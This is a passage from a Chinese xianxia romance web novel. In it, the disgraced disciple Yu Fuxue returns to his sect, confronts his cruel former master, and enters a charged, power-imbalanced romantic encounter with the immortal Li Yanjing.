陈青芜很显然就是这么打算的,一边寻好友,一边躲藏,他已经走上杀戮道,千机寺也不复存在,他如何再回去。
思忖片刻,我直言:“要不你跟我走?”
陈青芜疑惑道:“负雪,你不是已经不再是玄清宗的人了?”
“而且听你话里的意思,你和我,这一切很可能都与那个叫程月舒的有莫大的关系,你回去定会被他针对。”
陈青芜想起什么,又道:“如果你是因为那个人……可是有什么难言之隐,又或者他握住了你什么把柄……比如修为之事?”
陈青芜知我骄傲,却沦落到修为被废,他此前甚少问我缘由,免得触及我伤心之事。
如今算是摊开来问我。
我轻笑着摇头,“我没有被威胁,真的只是各取所需。且不说那些有关修为被废或者灵脉受损后修复的古籍有多难找,就算找到了,也定少不了天材地宝的要求。”
“以我们二人,一个……”我指指他,又指着我自己,“和一个被废的人,如何能寻得到这些宝物?靠卖面子?修士高傲,他们何以对现在的我给予青眼?”
而且李晏京给我的东西快要用完了,剩下最多的便要数凡间通用的那些金银,难道要我打道回凡间,做一世凡人吗?
绝无可能!
我稍回神,继续道:“李晏京他并非帮玄清宗,况且,要不是他,我的命早就丢了大半在刑台,冲这一点,我得还,他需要什么我就给什么,只要他肯帮我。”
陈青芜担忧道:“哪怕他要你的人?像他们这些活得久的人,多少都会有一些癖好或者不大正常的行为。因为活的够久,也难免滋生一些……你该知道的,负雪,我不相信你会是那么糊涂的人。”
我沉吟片刻,“我知道。”
远处巷口,完成任务的姑娘们又回来,两人相互手挽着手,嘻嘻哈哈地笑,我从储物戒中拿出了一些灵石放到她们怀里。
两位姑娘均是瞪圆她们的杏眼,有些受宠若惊。
陈青芜的点拨只是一瞬,过不了多久,她们两个就会重新变成抱在一团枯枝上的红杏。
我给她们的灵石相当于一个跑腿的报酬。
我对两位姑娘道:“辛苦了二位,拿着这些灵石,若是可以,就早点离开此地吧。最近天下都不大太平。若是幸运,要活的久一点,好好见见世间。”
两人眼中泛了些泪,对着我们欠身。
“郎君何必如此说,没有你们,我姐妹二人只能浑浑噩噩的在这小巷的风雪中等死,点拨再造,已经是莫大的恩情。”
另一位说:“如何再当得起这些重礼?”
我负手而立,冷风吹过,面纱轻轻晃动,既生出灵智,便结一个善缘,日后若有造化,于我也是有益。
“不必如此,来日有作为,那也是你们自己争气,自己的本事,和我二人无关。”
说到这份上,被派去租买马车的那位姐姐扯了一下妹妹,对我二人说:“马车就在萧城东门口的槐树后,此去一别,还望二位郎君珍重。”
妹妹也不再多言,她没有对陈青芜行礼,而是对我弯腰俯身道:“祝您心想事成。”
我轻笑:“会的。”
等我们即刻出城的时候,已然戒严,门口都多出些凡人驻守。
我们路过看热闹的凡人,放慢脚步。
听他们说,好像是屠了千机寺的那个魔头没有在溪城,不知道跑到哪去了,现在正在各地严查他的下落。
“怎么忽然封城门了?”
“也不是封城门,只是进出要严查。”
“是那些魔修又想要绑人走吗?”
“别瞎说,这次封城的是那些正道修士。据说要查那从千机寺逃走的屠寺魔头!”
“……我说最近是不是也太乱了一点?”
至于妹妹传的谣言,还要发酵一段时间。
我和陈青芜顺利地出了萧城。
要怪只怪萧城驻守的是一群凡人士兵,他们手中虽然拿着能够破解修士易容的法器。但凡人对修道者,天生就有一些敬畏之心,遑论我这一头宛如魔修的白发。
他们的确尽职尽责地盘问我,也用法器对我验证。但我的白发并非是灵力伪装,他们什么也破不出来。
我装作被冒犯触怒的模样,周身气息都压下去,腹中的青焰幽冥火在我强行驱动下奋力燃烧,爆出一瞬类似威压的力。
上古青焰的威力直接将那法器上的指针震到爆表。可我的肺腑也因强行借力而剧痛,只是这点痛我已经习惯。
我斜睨他们一眼,“还要查吗?”
几个凡人顿时让开了路,连忙道:“不敢、不敢!请大人出城!”
两位姑娘办事的水平都非同寻常。这马车挑选的既低调却又不失水准,关于秘宝的言论也不是一下出现,而是慢慢发酵,才不会让人顿悟。
只能说,我那些灵石给的十分正确,那是她们应得的酬劳。
我们只用马车行了一段距离,后续便抓紧赶路。在此期间,陈青芜也成功被我劝说,和我前往玄清宗,虽然他心中仍有对我的担忧。
我其实拿不准李晏京肯不肯让陈青芜待在他的无名峰上,我这个“故人”替身的面子有多大?
而且,我又有事相求,加上溪城时请他借力,又还未交付的,我已经欠李晏京良多。
等着我的代价肯定不小。
我们一路风尘仆仆,回到玄清宗,快要抵达宗门口时,我远远地就瞧见一个小童立在山阶之上——那是清月。
他的肩膀上还有一只淡紫色的大脑袋小鸟,是幻化变小的蛇鹫,正威风凛凛的仰头,睥睨天下的气势。
看见清月,我放松下来,笑着对他招招手,陈青芜抬头看着玄清宗的宗门门匾,陷入回忆,有些黯然伤神。
清月踩着小步子跑来,他肩头蹲着的蛇鹫被他颠得毛都炸了起来,“郁负雪,你回来了!”
我弯腰,摸摸他的脑袋,下意识地就想掏储物袋给他分些吃的东西,手已经摸到腰间,才想起我早已不是那个风光无限的大师兄。
我究竟要吃多少次亏才能记住?
我若无其事地顺手将双手背在身后。
“你怎么来了?”我问他。
清月仰起脖子告诉我,“仙尊说今日你会回来,所以我便在这儿等你,还带了它!”
他指着蛇鹫,对我露出个微微的笑,“接到啦,我们一起回去吧!”
我看向挺着胸脯的小蛇鹫,拿不准李晏京是不是能通过它,在背后看着我?
我对清月介绍道:“这是陈青芜,我和他一起去峰上,嗯?”
清月的小脸果不其然的皱起来,他严肃着脸看陈青芜,半晌后道:“好重的血煞气。”
闻言,陈青芜的眼神微暗。
他转头看向我,“负雪,就到这儿吧。”
我拦住了他,不肯让他离开。
陈青芜现今这种状态,就算他要走,我也要先求李晏京检查一下他,这样我才好放心。
另外,陈青芜的身上也有伤,我对好友一向尽心,自觉不能坐视不管。
但就在这时,一道声音让我僵在原地,光拦着陈青芜,半点也说不出话。
我听见那人叫我:“负雪。”
清月顿时皱起眉,我也慢吞吞看过去,从宗门的石柱后走出一人。
长垣仙君,我的好师尊。
陈青芜认出来人,他停下将要离去的步伐,先是看我一眼,确认后没有行礼,只是简单道:“晚辈陈青芜,拜见长垣仙君。”
师尊并没有理会他,只是将目光久久地落在我的长发上,“负雪,莫要再外胡闹了,随我回去,从头再来。”
我回过神,看着面无表情的他,强压下我翻涌的情绪,一字一顿,不敢置信道:“……我胡闹?”
他凭什么能这么说?
我没忍住,诘问他,“师尊,我怎么胡闹了?要剖我金丹的是谁?要废我修为的是谁?我何曾有过过错?”
他没有波动,“将你的金丹取出,只是为了给你一个教训。负雪,你那日来烧毁你的秋野院撒气,是在怪为师吗?”
清月听不下去,冷着小脸愤然开口:“仙君当真是偏……”
话音刚落,长垣仙君就一挥袖袍,凌厉的劲风朝着清月袭去,我来不及拔剑反应,只能先背过身挡住那一击。
后背一痛,我硬生生地跪下去,感觉到骨头已经裂开。
我把吓呆的清月揽过,护在自己的怀里,陈青芜的面色骤寒,咔嚓一声拔出半截剑,挡在中间,面向我的师尊。
长垣仙君淡淡道:“本君在和郁负雪说话,何时轮得到你一个小妖童插嘴?小心口舌不保。”
我听着身后传来的冷冷声音,内心有些恍然。
我是如何喜欢上他的?因为他的强大,还是因为他早年时温柔的对待?
长垣仙君是如何变成如今这副模样的,和我记忆里的那人大不相同。
都说在人的记忆中,会不自觉美化喜欢的人。我也美化了他吗?
季无涯和陈青芜冷冷的对峙,他并没有将陈青芜放在眼里,只是越过他的半边身子望向我,能感觉到他的视线落在我的背部。
我看着面前已经要哭的清月,揉揉他的脑袋,对他笑道:“没关系……没想到你还是个小哭包。”
蛇鹫被挤在我和清月之间,重新挣脱出来,甩了甩毛,瞪向季无涯。
那厢,陈青芜暗自同我传音。
——我看你还是和我一起去碧泉镇吧,本以为玄清宗是正道大宗,作风正派,各个仙君也都正直良善。现在看来,长垣仙君道貌岸然啊。
季无涯重新开口,他对我说:“负雪,同我回去,我会为你重塑灵脉,你仍旧是云秀峰的大弟子。”
我站起身,轻轻推开陈青芜。
我也并非是木头,此刻难免有些心如刀绞。记忆当中那个会对我好,将我从冰天雪地里抱出来的人已经不见了。
他陌生得令我感觉寒冷。
“师尊?我已经被你逐出师门了,又何谈还是你的大弟子呢?”说罢,我做恍然大悟状,“哦,您说的是云秀峰的大弟子,而非您的座下大弟子。”
“所以是想将我召回去,继续做个打点峰内峰外的仆役。”
季无涯被我说的动了怒气,他的眉头微微皱起,气息变化,双手袖袍一震,“这么多年,你就是这么和长辈说话的?郁负雪我再说最后一遍,同我回去,我不会亏待你。”
在我身后紧紧抓住我裤腿的清月,被气得浑身发抖,我也没有生气的心了,反手摸摸他的脑袋安慰他。
“师尊,不,仙君,世上再没有比你更狠心的人了。单单只是教训,就能让你伤我至此吗?”
季无涯狠狠皱眉,“只要你肯认错,我并不是没有灵泉丹药可以救你,此事是你有错在先,程月舒他才一个炼气期,而你金丹修为,竟好意思杀他。”
陈青芜侧目看我。
我并没有向季无涯解释,他既认定了程月舒是无辜的,我再怎么多说,在他眼里也只是狡辩。
金丹修为如何能被一个炼气期的弟子伤到?谁都没想过程月舒那把剑并非凡品,胡娘子背上的肉瘤花苞里装的是什么邪异的物种?
对,胡娘子已经被程月舒在最后的时候超度了,真是掐算得刚刚好。
没有人能够证明。
我看着季无涯,甚至在想,他是不是和程月舒一伙的,见我还没死心,欲要报复,来引我回去继续折磨。
我恨程月舒是因为他受季无涯的偏爱。
但程月舒恨我又是为什么?
毫无道理,我不得其解。
这时,在我身后的清月松开手,朝一旁跑去,“仙尊!”
我微微一愣,陈青芜又靠近我一些,他没有松开剑,只是用眼神无声地给我支持。
我相信,只要我说走,他就会不惜代价地带我离开。
寻着清月望去,只觉得今日还真是热闹。
我没有对长垣仙君行礼,同样也没有对李晏京行礼。
李晏京出现在宗门内侧的石阶上,背对着光,居高临下的俯视我。
我双眸微眯,听见他说:“郁负雪,过来。”
位于他侧方的季无涯,转身对李晏京俯身一拜,“拜见南玄仙尊。”
李晏京座下弟子颇多,但他们元婴之后就得自立门户。
因此,季无涯虽然同李晏京有一层师徒关系,但他并不能称呼李晏京为师尊,只能同世人一样叫他的称号。
季无涯当着我的面同李晏京道:“仙尊,我此次来,是为将郁负雪带回我云秀峰。”
李晏京的目光从我身上移开,应当是落在季无涯那边,我也跟着看过去,很快不感兴趣地挪开。
他并没有理会季无涯,只是又看我。
清月从他身边跑回来,同蛇鹫一起歪头,也对着我瞧,我不明白他们在看什么。
他思索片刻,伸出小手勾住我的食指,小声说:“郁负雪,我们回去呀。”
李晏京淡淡地道:“站在那儿不动,是要回云秀峰?”
我说:“我不会回去的。”
我久久地看向季无涯,再次重申:“我是不会回去的,我已经是云秀峰弃徒,如今程月舒才是当之无愧的天才。”
后半句话,令季无涯脸色微变。
但我再没有看他。
李晏京定下结论:“那就回去吧。”
我没有动,也没说话,就这么半仰着头看李晏京,沉默蔓延开来。
陈青芜见状,都要上前拉我了,这个时候李晏京像是终于退缩,他简明扼要。
“跟着。”
我料到他会妥协,松了口气。看来那个可能的“
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故人”,在他的心里比什么都重要。
“多谢仙尊。”我弯腰道。
蛇鹫应声飞起,化作能够独自站在这山阶之上的大小。
我再抬头一看,季无涯和李晏京都已经不在原地。
神色自若地先上了蛇鹫,陈青芜站在地面,他的神色凝重。
一个可以说得上是几乎站在修真界顶端的人,如此纵容另外一个人,这并不会让人觉得欣喜。
没有一个人不会去揣度这背后的意思。
陈青芜说:“他不帮忙,我们也是可以的,对吗?”
只有我知道,自己这副身子真的比病秧子还不如。
我十分惋惜地伸出手,对他轻轻而笑,陈青芜同样对我露出苦笑。
若我们有本事,又哪里会受制于人?
“很遗憾,不可以,我们没有办法。”
陈青芜搭上我的手,蛇鹫扭头轻轻叫了一声,我以为它是因为有陌生人而鸣叫。
这凶禽的眼睛盯着陈青芜,我没管,愣是把人拉到蛇鹫背上,让他抓紧。
蛇鹫腾空,清月一个旋身,化作仙鹤跟在其后,无人察觉,我们回到无名峰。
蛇鹫只将我们送到入口,随后变成小鸟飞走,清月跟着落在我的身边,他看着陈青芜,陈青芜也低头望着他。
我见他的眼中透着怀念,唇角半勾,我猜陈青芜是想到千机寺的那个小和尚。
可惜一切都已经成为泡影。
我将躲在我身后的清月推到陈青芜的面前,“拜托你和他说一下峰内有哪些事要注意的,我去找仙尊。”
清月领命,很认真地对我点头,然后又依依不舍地抓住我的手,“那你结束之后,我能不能去找你?”
我笑了,陈青芜也露出笑容,我对清月道:“可以,但是你要先帮我把我的朋友照顾好。”
清月捏紧拳头:“郁负雪,你放心!”
将陈青芜交给清月,我便去正殿寻找李晏京。
总觉得无名峰比我来时更加寂静,越往深处走,越觉得寂寥。
李晏京这儿比凡间荒废的城池还要静。
那些荒废的地方好歹还可能入住一些乞丐,但他这里只有一片白茫茫和遮在其下的郁郁葱葱。
“师祖?”我喊道,但正殿大门并没有打开,我又前往偏殿,一边走一边四处观望。
我疑心他生气,以之前的词叫他,希望可以让他冷静些,“师祖?弟子郁负雪求见。”
我推开偏殿的门,也没有人。
我有些怀疑他在后山的高阁禁地,便没有再找,等他回来后让清月告诉我也是一样的。
强压下去的疲惫泛到心头,我停下脚步,没站稳,靠在殿外走廊的石柱上。
喘口气,捂着发疼的胸口缓过片刻,我便朝自己居处走去,就在另一处偏殿。
整座无名峰上极大部分,我在心里将其划到李晏京的范围,只有他让我住下的那一小块地方,在我心里是属于我自己的。
暂时不用想办法应付那个人,我有些松懈,慢吞吞地推开门。
刹那间,黑洞洞的房间里,伸出一只手环过我的腰,其臂膀有力,直接将我带入他的怀抱。
砰的一声,门被关上了。
与此同时,我被李晏京压在门上,面对着他。
我因背后的疼痛牵扯,急促地喘息一声,很快闭上嘴,将声音压下去。
房内昏暗无比,我背靠着门,放松身体,笑看李晏京,他的表情淡淡的。
我眼睫微颤,轻声开口,像是埋怨他,尾音稍显亲昵:“你生什么气?”
为配合声音,我将手轻轻抚上李晏京的侧脸,内心为我自己这胆大的举动而兴奋。
他居然没有躲开!他居然让我这么碰他!
“师祖,这是要找我算账吗?”他不开口,我就继续说。
要不是因为现在是白天,而我们又离得足够近,我可能都无法看清他的脸。
手指轻移,食指稍碰在李晏京的眼角,我极轻地乱摩挲。
李晏京眼眸微垂,我再次注意到他的视线落在我下半张脸上。
远离溪城那一片地方,我就将脸上的面纱摘了,只是头发还未挽起。
李晏京贴在我后腰的手指微动,这次他没有像之前一样慢慢的将灵力注入我的身体,而是凶猛不少。
独属于他的强悍灵力,直接从后腰那只手钻进,顺着脊椎蹿到全身。
我哪里体验过这种感觉?
顿时闷哼一声,收回逗弄他的手,腿发软,整个人要往下滑。
但是却被李晏京及时摁住,将我牢牢地困在门和他之间。
他的灵力把我脏腑的钝痛全都抹平,连同背后受伤的骨头也愈合起来。
“是该算账。”李晏京淡淡开口,“可吃到教训了?”
我忍过那一阵忽然而来的酥麻,红着眼尾,抬眸瞪他,先发制人,“应该算什么账,我怎么不知道?”
还没等他开口,我继续往下说:“那你也没告诉我,我虽然同程月舒长得不像,但是和另一个人却格外相像。您的故人……”
我慢悠悠地拖长语调,“是谁啊?”
李晏京轻笑,带着些危险,“看来那老鬼告诉了你不少东西,你都知道什么?”
我只是说,该知道的我都知道了。
李晏京却骤然逼近,他覆盖在我腰后的手上,灵力又加重几分,压得我又是轻嗯了一声。
我想后退,无路,想要前进,那是投怀送抱,我不干这种事。
除非现在我飞起来,否则我逃不出李晏京圈禁的这一方天地。
李晏京莫名地重复我的话,他半侧过头,鼻尖堪堪划过我的鼻尖。
“该知道的都知道了。”
我感到后腰的手开始轻揉,李晏京另一只手抬起,掐住我的脸,虎口卡在我的下颌。
“撒谎不是好习惯,郁负雪,再给你一个机会,诚实的告诉我,知道了什么?”
他根本没打算听我说话!
李晏京他捏住我两边的脸,指尖用力,我被捏得挤着嘴,无法清晰地说出任何句子!
后脑勺靠在门上,我紧皱眉头。
腰后的手轻轻摩挲,五指之间都开始用力将我往他怀里压,我被迫形成一个稍微挺着腰,背靠在门上的姿势。
“看来是无话可说了,”李晏京淡笑道,用他深邃的眼眸望着我,“那么,我们来算一算我们之间的账。”
我两只手都抓在他捏住我脸的那手臂上,不服输地狠掐。
“让你不要去找陈青芜,你执意要去,我不拦你。有些东西是命,躲不掉,所以我放你去亲眼看看。”
李晏京道:“要救人,可以,求我,我也答应了。”
他眉头轻皱一瞬,“去溪城吃了多少苦,郁负雪,可曾后悔?”
李晏京松开手,我本要说话,他又很不悦地捂住我的嘴。
他的手很大,只留下我的双眼。
我呼吸时闻见的是他身上的味道,一张口,唇就能在他掌心蹭,所以我闭上嘴。
他看着我的眼睛,自顾自地说:“看来是不后悔的。”
“放你走是一次,那镇子就算了,我从神魂上割下的东西答应你的,这个不同你算,但溪城的要算。”
他每说一句,压着我口鼻的力道就重几分,我渐感窒息,唔唔地发不出声。
“溪城,三次,强撑着损耗自己寿元是一次,心软舍不得对陈青芜下手是一次,用我给你的玉佩自我献祭又是一次。”
等我抓着他手臂的手没力气再攥紧时,他才大发慈悲般慢慢地挪开手。
“郁负雪,你说这四次,我该不该讨?”
李晏京把问题反抛给我,还趁着我此时微微缺氧,正张着嘴呼吸的时候。
“该不该?”他催促道。
“应该的。”我答道。
23. 灵纱覆我双眸
李晏京淡淡的一声笑回荡在我的房内,他像是对我的回答十分满意。
那只挪开的手绕到我的后颈,拇指摩挲着我的皮肤,我被激起一层鸡皮疙瘩。
李晏京的目光从我的眼角滑过,又流连于我的唇上。
我呼吸恢复平稳后,半睁着眼,看他视线勾缠的全过程,他在愉悦。
于是,我闭上张着的嘴,抿紧唇,存心同他反着来,不让他看。
“不错。”
他的声音听不出喜怒,手指稍一用力,我就被捏得仰起头。
李晏京又凑近,他吊着我的心,只用鼻尖同我相互触碰、轻蹭。
“郁负雪,郁负雪……”
他如此喊我,如此缠绵。
我的心不知为何,也跟着一颤一颤的,许是由于屋内无光,太过昏暗,我的感觉只集中于眼前的他。
“师祖,你要什么?”
我想往后缩缩脖子,但是李晏京察觉到我这个意图,脖子后的那只手就将我捏得更紧,使我一度怀疑会落下指痕。
虽然这对我来说并不是什么大事。
李晏京的声音微微沙哑,他开口道:“应该的,那就是愿意。”
愿意什么?我本能地不想明白。
但我清楚,那含蓄话语之下隐藏的会是什么词,比如顺从,又比如……听话。
再比如,一些更能引我向深渊的东西。
陈青芜的话在我耳边回荡。
我想我该警醒的,李晏京哪里像正道修士,他像我凭空生出来的心魔。
纵容,强大,说一不二,还想吞噬我。
我应声道:“嗯,愿意。”
最坏能坏到哪儿去呢,李晏京总不会是季无涯那种,我追着他跑,他都不屑一顾的人。
季无涯不会看我,季无涯不会怜我,但是李晏京会,他总是先用灵力给我治疗,喜欢看着我,一举一动都仿佛把我捧着。
让我有种错觉,他等了很久才等到我回头,所以格外喜欢叫我名字,触碰我,看着我,然后……
他本可以仗着他的修为和地位,想要怎么样,直接做就是了。但他还是问了,哪怕在他心里只是走个流程。
但无法否认,在我心里,还是有一点不一样的。
我该拿他怎么办?
就此清醒,杀了他,以绝后患。还是利用干净,榨干价值,再踩着他修好的登仙路飞升。
后者最妙了,他会成为我斩断的前尘,一个上天短暂给予我的恩赐,不会再令我挂心,不会再使我困扰。
说点什么罢。
我忍不住叫他,声音放得很轻,但实际上,我也不知道我想得到什么答案,只是忽然想确认他的存在。
“师祖。”
我将手试探地向上,搭在他的双肩。
李晏京的喉结上下滚动了一下。
“嗯。”
现在这副模样,几乎是被他半压着攀附于他,只有我自己知道,眼前的人虽然看起来危险,可他和他的那把剑一样,最后一根弦仍然束缚着他。
叫他克制、克制。
我笑道:“我是你的故人吗?”
不等他回答,我便又说:“我觉得不是,我就是我,不是谁。你的故人听起来一定很厉害,我比不上,也比不起。”
我自顾自地说完,复抬起头,轻轻笑开。
“那我是他的替身吗?”
所以李晏京亲自挑选衣服和配饰,割下他的欲念放入簪中,是不是要把我往他心中那个人的模样打扮。
李晏京只是沉默很久,目光沉沉看着我,他呼吸微重,“我不记得了,对不起。”
我愣住,这回答在我预料之外,我很不满意,甚至想去好好介意一番。
他的回答可以是,“没错,你是一个替身”。
也可以是,“不,你就是你,我分得清。”
但凭什么是“不记得”呢?
真假暂且不论,也不知道他这声道歉是对我说的,还是对那个“故人”说的。
我正欲发作,抬眸时,却捕捉到李晏京的模样少见的有些脆弱,很快又消散不见。
刚刚的一切都好像只是我的错觉。
罢了,但行现时路,不问未归期。
我闭上眼睛,再无其他想法。
李晏京他捏在我后颈的手稍微放松,用极其轻柔的姿态将我从门上捞到他的怀中,随后调转方向,他背靠着门,而我被他扣着趴在他的怀中。
他的手从我的后颈掠过,手指穿插到我的发间。
发丝从他指尖滑过,又被他的手指合拢,纷纷绕在他的五指间。
他也没急着做什么,只是轻柔地摩挲,一下又一下的安抚。
我睁开眼,觉得他有话说。
李晏京靠在门上的模样有些慵懒,他看着我道:“郁负雪,待会结束,把簪子拿出来。”
我慢吞吞地眨眼,以为他要给我重新挽起头发,就像那日在药池一样。
没有多问,我再次道:“是,师祖。”
李晏京眼角多出了些笑意,他的灵力化作一条轻柔的眼纱出现在我的眼前,自发绕过我的耳朵,系在脑后。
同时,发带被他扯落,掉到地上。
他能够更好地拢住我的白发了。
“为什么要蒙我的眼睛?”
眼前画面变得模糊,我看不清他,也看不见他眼底的神色。
我揣度人时,喜看的就是他们的眼睛。
李晏京用灵纱覆我双眸,我什么猜测都无法进行,连我都未察觉到,我已经有些无措地捏紧他的肩膀。
紧接着,双手均被他轻轻拿开,他引导着我环住他的脖颈。
“搂好了,郁负雪。”
他的手收回时,轻划过我的小臂外侧。
“这次做得好,我就免去两次债。”
那就只剩下两次。
不过在我心里也无甚区别,我如今事事要依仗他,连陈青芜的事我都还没开口。
他还不知道吧,我会越欠越多。
“知道了,我学东西很快的。”
这是我颇为自得的点。
话毕,后脑上,他有力的大手将我的脑袋压过去,举手间,他胳膊上繁复厚重的袖袍滑到手肘,小臂一截隔着我几缕发丝,停留在我的后颈处,我能感受到他的体温。
我十分配合地搂着他,遵循他的教导,稍微侧头,便唇瓣相贴。
如果有外人看见,定以为我意图对堂堂南玄仙尊不轨,摁着他献吻。
这种时候我总控制不住地走神。
我想,别人会怎么说?
定先骂我不知廉耻、恬不知耻,用这些词去形容我、鞭挞我。
然后李晏京的爱慕者会恨不得将我钉在柱子上受刑。
那他呢?
李晏京会不会心疼我,他会不会向所有人昭告,他对我有意,他对我有欲。
哪怕我可能只是某人的影子。
他不轻不重地轻咬我的下唇,声音沉稳,比平日那淡淡的感觉多出几分重。
我知晓,那是欲,比渡劫还危险的东西。
“郁负雪,专心些,莫要走神,不然一次也不会给你免。”
好不讲理。
他这时候倒仗着他是主导者,来欺负我这什么也没有的小辈了。
我想反抗,重重地去抿他的唇,我不知道怎么才算吻,相互轻碰、若即若离的技巧还是上次药池时学的。
但我有些小聪明,会举一反三,用与轻相反的方式去表达我的不满。
透过朦朦胧胧的纱,我偷偷摸摸描摹他模糊的身影,堂而皇之地走神,但是思考对象成了他,他这次什么也没说。
李晏京轻笑,鼻息和我相互融在一起。他身上的味道好闻极了。我只近距离嗅过几次,已经令我喜欢上这香味。
在间隙中,他夸我:“学的很好。”
我不敢用牙咬他,可唇能有什么攻击性?我觉得他在笑话我,故意嘲我。
我后退一点,身体却背叛了我,唇难分难舍地离开
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他的唇,“师祖,您是在笑话我?”
李晏京松一些力道,反倾身凑过来,原本摁在我腰窝的手变成横揽着。
得亏我柔韧度上佳,否则怎么能被他当成一把反弯的长弓,这样握持在手中!
“没有,夸你。”李晏京道,又重新捉到我不善言语的口舌。
这是还债,是你情我愿的给予和索求,不同于药池,药池仅仅是渡气,并无其他。
他原本带着引导性的攻击转成绝对的主动,像是在说我这段时间太过放肆,说话行事都不过脑子,这张嘴张口闭口只有他人,甚少提及他。
所以李晏京教我如何动着口舌,去说那让他高兴的话,发出让他愉悦的声音。
我步步后退,他不曾放手,以一个教导者的身份,每一步都引我去学习。
他坐到凳子上,我便被他带着面对面跨坐在他的腿上,时刻谨记双手要搂着他,像是搂住救命的浮木。
在这过程中,一旦察觉到我走神,他就以轻微的疼痛唤醒我,让我继续只想他。
眼睛被蒙起来,可耳朵上的耳坠没有摘。
发生口角时“争辩”的声音,还有我自己发出的气音,声音极小,不可控制。
越听我的心越乱,还不能走神,不可避免地,我彻底红了耳朵,乱了呼吸,身体因为缺氧微微颤抖。
李晏京这才大发慈悲退开,双手环住我的腰,很是轻柔地揽着我,防止我后仰摔下去。
我低头埋在他的颈间呼吸,正闻着他的味道,又被他捏着下巴抬起头。
眼前的薄纱被他化去,灵力在房内散成点点星光,我重见光明,视野恢复,骤然撞入他极为暗沉的眼眸。
而在他的眼中,我见到一个带着薄泪,眼尾微红的自己。
李晏京目光寸寸滑过我的脸。
“郁负雪,你这样真好看。”
他的拇指斜移,擦去我下唇的水光。
“……骗我吧?”我不敢说自己好看。
李晏京没说话,低头牵起我的手,手指搭在储物戒,他的眼中闪过神识探查的光芒。
很快便收回手,将储物戒摘下握在掌心,对于那些报废损坏的法器,他只字未提。
“玉佩已经碎了,晚些时候来找我,再给你新的,嗯?”
那玉佩的确厉害,能化解高阶修士威压,我的确想再要几块,“去哪儿找您?”
他说,他就在正殿。
等李晏京拿走簪子和储物戒离开,我立刻去打开窗户。
光线照进来,令我清醒许多,这样我就不会总看见,有两道身影一路从门口亲密到椅子上了。
我坐到榻上发呆,可耻于自己这颗容易颤动的心。
正欲沉下心给自己一巴掌,就听见窗外传来路过的脚步声,那脚步声一直走到门前。
清月敲敲门,陈青芜跟在他的身后。
我开门后,侧身让开,清月很开心,面上故作稳重,脚步却欢快地走进来。
陈青芜也迈步,他笑着对我点头,目光却是一顿,先落在我的脸,接着是颈侧。
“负雪……”
我下意识摸摸脖子,心里一跳,刚刚忘记对着镜子检查,这是我不该犯的错误。
“陈兄,我……”
陈青芜重新笑起来,手轻轻一挥,灵力拂过我面前,有什么被他遮住了。
“没事,有东西,现在掸掉了。”
我也不再提,关上门,朝房内走。
清月折返回来,终是没忍住欢喜,他抱住我的腿,仰头不甚熟练地龇牙微笑。
“郁负雪!欢迎回来!”
随即神情微愣,不确定地松开我,左右轻嗅,“……仙尊的熏香味?”
我顿了一下,对他笑道:“定是刚刚去见仙尊沾上的。”
清月没有多想——什么气味能沾这么久,只是点头,一味地同意我的话,“最近仙尊的熏香用得愈发浓了。”
整个房内,除去我这个当事者,恐怕只有陈青芜能猜到发生过什么。
24. 暂时不要说话
清月喜欢盯着我看,许是在仙鹤的眼里,我这种白且阴郁的人类属于好看的范畴。
他许久没同我好好说过话,现下装了满肚子墨水,什么都想说。
从他在无名峰上睡觉什么感觉,到蛇鹫很小气,不肯变大给他当枕头,大家都是鸟,有什么关系。
连李晏京自我走后,日日呆在后山高阁不曾出来的事都告诉我。
“发生这么多事啊。”
我用指尖轻轻碰他脸侧的弧度,从我的角度看,清月还是个小孩子,侧脸稍圆,很好玩。
清月被我冰了一下,抿紧嘴唇,也没躲开,只以为我是无意的。
他伸出两只手抓住我的手指,把我的手拉过去,抱在怀里捂着。
“因为……有些想你。郁负雪,下次出去,能不能带我一起,我不需要你的保护,我可以保护你。”
我知道他还在为我替他挡那一下难过,说话都慢吞吞的,听着要掉金豆豆。
“你没我厉害。”
我没有留情,并不想这傻呵呵的小仙鹤因为我再出什么事。
陈青芜在旁边笑看半天,帮腔道:“小孩儿就该天天吃吃睡睡,有事忙事,没事悠哉。你才丁点儿大,等你长得有我高了,再说保护负雪的问题吧。”
清月气愤,欲言又止,瞪完陈青芜又拿他那大眼睛看我。
他压下沮丧和难过,忽视陈青芜的话,和我一本正经地确认:“我不是小孩了。”
我愿意哄他,顺着道:“嗯,你是一个能独当一面的小大人。”
他这才开心起来,送走清月,陈青芜居然也没说要留。
我问他,“那你住在哪儿?”
他握着剑和我说:“清月给我找了西边的一个屋子暂且住下,也和我说了峰上最需要的是保持安静,不要乱走动。”
将我的担忧说完,陈青芜道:“这里灵气充沛,正好可以打坐调养,我就在屋内,哪儿也不去,负雪,等你准备好就来叫我,我们去碧泉镇?”
全然没提那些痕迹的事,我很快意识到自己的在意,连忙止住这个危险的征兆,点头道:“好,我尽快。”
陈青芜笑得温润,把捡起的发带放到我手里,“扎着吧,更好看。”
话毕,他便转身离开。
我捏着发带,试着像原来那样将头发高高束起,正要绕发带时,瞥见镜中的自己,终究是放下手。
白发重新散落在肩膀后。
陈青芜回不去,我也回不去了。
等他们走后,我简单沐浴过,才去正殿找李晏京。
穿过狭长曲折的长廊,听只有自己长靴踩过地砖的声音。
来到正殿门口,准备扬声叫他,门便开了一条缝,我没有犹豫,直接推门而入。
正殿比起我初次到来时大不一样,已经不像是大人物会客的地方。
圆桌椅等一应俱全,烛台终于不是夜明珠穿着,而是灵烛在燃烧,照在淡色青玉砖上的光更加柔和。
相较于前几次的冰冷,殿内多出几分活人气。
李晏京盘坐于一侧屏风后的玉石床上,我看见时,被他的模样晃了一瞬,以为是什么玉石雕刻的仙人。
回过神后,我先是有些恼,盯着李晏京片刻,便难以扼制地掀起坏心思。
于是我转身就走,等他出声。
“过来。”
李晏京的声音响起,我走得更快,腰上瞬间被缠了道灵力,我向后飞去落在他怀里。
一抬眼就能看见,他比往日颜色更深的薄唇。
李晏京手不轻不重捏着我的后颈,声音淡淡的,“跑什么。”
忽然,他的眉眼微沉,我的唇和脖颈就像被小刺刺了一下,属于陈青芜的灵力被化去,露出微肿的唇,和脖子两侧的指痕。
我轻颤,见他眼神不善,想要开口打断他的思绪,但李晏京这时候并不会依我。
他慢悠悠道:“这是教什么覆住我的印记?郁负雪,既然不喜,就该拒绝。”
能有什么,陈青芜好心为我遮掩,不叫清月学到坏东西不行?
“不能遮?”我反问,要重新掌握主导权。
李晏京见状,没再问我喜不喜,他说:“好看,不遮了罢。”
“痕迹好看,还是我好看?”
李晏京极轻的笑,他把我轻松抱起,放到他身边,“你好看,郁负雪。”
